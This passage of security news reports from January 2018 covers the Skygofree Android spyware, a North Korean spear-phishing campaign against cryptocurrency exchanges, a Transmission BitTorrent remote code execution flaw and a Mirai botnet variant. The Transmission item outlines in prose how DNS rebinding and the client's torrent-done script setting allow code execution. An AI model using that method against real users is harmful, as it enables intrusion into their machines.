“The implant carries multiple exploits for root access and is also capable of taking pictures and videos, seizing call records, SMS, geolocation, calendar events and business-related information stored in the device’s memory,” Kaspersky explained.
Furthermore, a special feature enables it to circumvent a battery-saving technique used on China-made Huawei devices by adding itself to the list of ‘protected apps’ so that it is not switched off automatically when the screen is off.
"Due to this feature, it is clear that the developers paid special attention to the work of the implant on Huawei devices," Kaspersky's researchers noted.
Designed for targeted cyber-surveillance, Kaspersky said the malware could be an offensive security product used for law enforcement purposes, similar to products offered by Hacking Team, a controversial Italy-based company that develops and sells surveillance technology to governments around the world.
Kaspersky did not provide statistics on the number of Android devices that may have been infected, but the number appears to be relatively small. There are “several infected individuals,” all located in Italy, Kaspersky said.
“Given the artefacts we discovered in the malware code and our analysis of the infrastructure, we have a high level of confidence that the developer behind the Skygofree implants is an Italian IT company that offers surveillance solutions, rather like HackingTeam,” said Alexey Firsh, Malware Analyst, Targeted Attacks Research, Kaspersky Lab.
The operators used spoofed landing pages that mimic the sites of mobile operators for spreading the implant, and Kaspersky’s researchers found 48 different commands that can be leveraged by the attackers.
Kaspersky provided technical analysis on Skygofree in an associated blog post, including an overview of the various commands, along with details on a number of modules that target computers running Microsoft Windows.
“High end mobile malware is very difficult to identify and block and the developers behind Skygofree have clearly used this to their advantage: creating and evolving an implant that can spy extensively on targets without arousing suspicion,” Firsh said.
The attacks are ongoing and the most recent domain was registered in October 2017.
North Korean Hackers Prep Attacks Against Cryptocurrency Exchanges: Report
17.1.2018 securityweek BigBrothers
Researchers Say a North Korea-Linked Hacking Campaign is Ready to Go Against South Korean Cryptocurrency Exchanges
North Korean hackers, loosely categorized as the Lazarus Group, have continued their attacks against South Korean interests, with particular emphasis on cryptocurrency exchanges.
Recorded Future has published details of a campaign it discovered in late 2017, which does not yet appear to be active. This may be in recognition of, or because of, the current discussions between North and South over North Korea's potential involvement in South Korea's Winter Olympics being held in Pyeongchang in February -- or it could simply be that the campaign development has not yet been put in action.
Recorded Future said they discovered a spear-phishing campaign that uses the CVE-2017-8291 Ghostscript vulnerability triggered from within a Hangul Word Processor (popular in South Korea) document.
For now, the bilateral discussions between North and South seem to be fruitful. It is reported that North Korea will send a 140-member orchestra to the Games, and there are ongoing discussions over the two countries fielding a joint women's hockey team. Nevertheless, Recorded Future researcher Priscilla Moriuchi told SecurityWeek that the campaign is in place and could be easily invoked.
Earlier this month, McAfee described a separate attack against North Korean defectors from a group -- almost certainly North Korean -- that does not appear to be related to any known cybercrime group.
The Lazarus targets are users of the Coinlink cryptocurrency exchange, other exchanges, and a group known as 'Friends of MOFA (Ministry of Foreign Affairs)'.
The cryptocurrency target is typical Lazarus. "Beginning in 2016," notes Recorded Future, "researchers discovered a shift in North Korean operations toward attacks against financial institutions designed to steal money and generate funds for the Kim regime." Lazarus is believed to be behind the 2016 attacks on the SWIFT global banking network, including the theft of $81 million from the Bangladesh central bank in February 2016.
In December 2017, the South Korean Youbit cryptocurrency exchange went bankrupt following its second hack of the year. In the first attack it lost 4000 bitcoin or around 40% of its reserves (around $5 million at the time), and a further 17% of its assets in the December breach. Some reports suggest that the attacks were undertaken by BlueNoroff, a sub-group of Lazarus.
South Korean exchanges have been strengthening their network defenses, while the government has been considering regulations to tighten control over cryptocurrencies. One mooted option has been the shutdown of all virtual cryptocurrency exchanges, although a statement from the Office for Government Policy Coordination on Monday downplayed a comment from Justice Minister Park Sang-ki last week. The Justice Minister's statement suggested the government is already working on legislation to ban virtual exchanges in the country. The current view is that a ban is not imminent, although stricter regulation is likely.
Whatever happens, hacking South Korean cryptocurrency exchanges will become more difficult in the future. "The majority of North Korean cryptocurrency operations have targeted South Korean users and exchanges, but we expect this trend to change in 2018. We assess that as South Korea responds to these attempted thefts by increasing security, they will become harder targets, forcing North Korean actors to look to exchanges and users in other countries as well."
Noticeably, Recorded Future warns that although this campaign and toolset are specific to the Hangul Word Processor, the actul vulnerability it exploits is not. "This vulnerability is for the Ghostscript suite and affects a wide range of products, and while this particular version is triggered from within an embedded PostScript in an HWP document, it could easily be adapted to other software."
"The main targets and victims of North Korean cryptocurrency operations in 2017 were South Korean," Moriuchi told SecurityWeek. "As a result of that targeting, the South Korean regulators are attempting to impose stricter financial controls on exchanges, and the exchanges are also implementing stricter security measures both for their users and within their networks. We believe that these factors will lead North Korea -- which is clearly invested in cryptocurrency operations -- to pursue other targets in other countries because the South Korean targets are becoming harder to get at."
This campaign is delivered by spear-phishing emails. Four separate lures have been identified: one aimed at users of Coinlink; two that appear to be resumes stolen from two genuine South Korean computer scientists who work at cryptocurrency exchanges; and one lifted from a blog run by the Friends of MOFA. All of the lure documents were created between mid-October and late November.
"This campaign relies on multiple payloads fashioned out of the Destover infostealer code to collect information about the victim system and exfiltrate files," reports Recorded Future. Destover further implicates Lazarus in the campaign. It was used in the Sony Pictures Entertainment attack in 2014, the Polish banking attacks in January 2017, and in the first WannaCry victim discovered by Symantec.
Recorded Future does not believe that any improving relations between North and South Korea will stop Lazarus targeting South Korea. The campaign could kick off at any time. But the suggestion is that as attacking South Korean exchanges becomes more difficult and less fruitful, the same attack could relatively easily be re-engineered for different exchanges in different countries.
Code Execution Flaw Found in Transmission BitTorrent App
17.1.2018 securityweek Vulnerebility
Google Project Zero researcher Tavis Ormandy has discovered a critical remote code execution vulnerability in the Transmission BitTorrent client. The expert has proposed a fix, but it has yet to be implemented by the application’s developers.
Transmission is a popular open source BitTorrent client that is available for Windows, Mac and Linux. Ormandy has been analyzing several popular torrent clients and found that Transmission has a serious vulnerability.
According to the researcher, an attacker can execute code on a system running Transmission by getting the targeted user to access a specially crafted website.
“The Transmission bittorrent client uses a client/server architecture, the user interface is the client and a daemon runs in the background managing the downloading, seeding, etc,” Ormandy explained in an advisory. “Clients interact with the daemon using JSON RPC requests to a web server listening on port 9091. By default, the daemon will only accept requests from localhost.”
However, the expert showed that the localhost requirement can be bypassed using a type of attack called “DNS rebinding.”
The attacker sets up a website and adds an iframe that points to a subdomain of that site. The DNS server is configured to respond alternatively with an address controlled by the attacker and localhost (127.0.0.1), with a short time to live (TTL). When the victim visits the malicious website, the browser resolves to the attacker-controlled DNS server and then switches to localhost.
“Exploitation is simple, you could set script-torrent-done-enabled and run any command, or set download-dir to /home/user/ and then upload a torrent for ‘.bashrc’,” Ormandy explained.
The expert says he has successfully tested his proof-of-concept (PoC) exploit with Chrome and Firefox running on Windows and Linux.
The vulnerability, tracked as CVE-2018-5702, was reported to Transmission developers on November 30, and Ormandy even provided a fix the next day. However, an official patch still has not been released, which the researcher says is highly unusual for open source projects.
Ormandy pressed the developers and last week they agreed to make his patch public on GitHub so that at least downstream distributions such as Debian and Fedora can roll out their own patches. It’s unclear when an official patch will become available, but it should be included in the next 2.93 release.
Transmission developers pointed out that the macOS and Linux versions are only vulnerable if remote access is enabled; the feature is disabled by default.
Sebastian Lekies, who also works for Google, said he reported the same vulnerability to Transmission developers five years ago, but never heard back from them.
Back in 2016, hackers broke into the Transmission website and planted a malicious installer designed to deliver a new OS X ransomware.
Mirai Variant Targets ARC CPU-Based Devices
17.1.2018 securityweek BotNet
A newly discovered variant of the Mirai Internet of Things (IoT) botnet is targeting devices with ARC (Argonaut RISC Core) embedded processors, researchers warn.
Dubbed Okiru, the new malware variant appears to be different from the Satori botnet, although the latter was also called Okiru by its author. Security researchers analyzing the new threat have discovered multiple differences between the two Mirai versions, aside from the targeting of the ARC architecture.
Originally designed by ARC International, the ARC processors are 32-bit CPUs widely used in system on chip (SOC) devices for storage, home, mobile, automotive, and IoT applications. Each year, over 1.5 billion devices are shipped with ARC processors inside.
Mirai Okiru represents the very first known malware targeting ARC processors, independent security researcher Odisseus, who analyzed the threat, notes.
The botnet was discovered by @unixfreaxjp from malwaremustdie.org, the security researcher who spotted the first Mirai variant in August 2016. In a post on reddit, the researcher explained that, although distributed denial of service (DDoS) is the main purpose of the last two Mirai versions, they are very different.
One of the characteristics that sets them apart is the configuration, which in Okiru is encrypted in two parts with telnet bombardment password encrypted. Satori doesn’t split it in two and doesn't encrypt brute default passwords either. Moreover, the new malware variant can use up to 114 credentials for telnet attack, while Satori uses a different and shorter database.
The researcher also explains that Okiru seems to lack the "TSource Engine Query" common Distributed "Reflective" (DRDoS) attack function via random UDP that Satori has. The two also have different infection follow up commands written in their configurations and show differences in usage of watchdog.
Okiru was found to have four types of router attack exploit code hard coded in it, none of which is found in Satori. Furthermore, there are small embedded ELF Trojan downloaders in Satori, which are used to download other architecture binaries (these were coded differently compared to Okiru ones).
Last week, when the researchers first noticed Okiru’s attacks, the malware enjoyed low detection in VirusTotal. Thus, and because the new threat is targeting devices that haven’t been hit by malware previously, researchers expect an uptick in Mirai infections.
It is also clear that the actor behind the botnet is actively following reports on the malware. Within minutes after ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group member Pierluigi Paganini wrote about Okiru, the website was hit with a DDoS attack that lasted over an hour, Italy’s CERT-PA revealed (translated).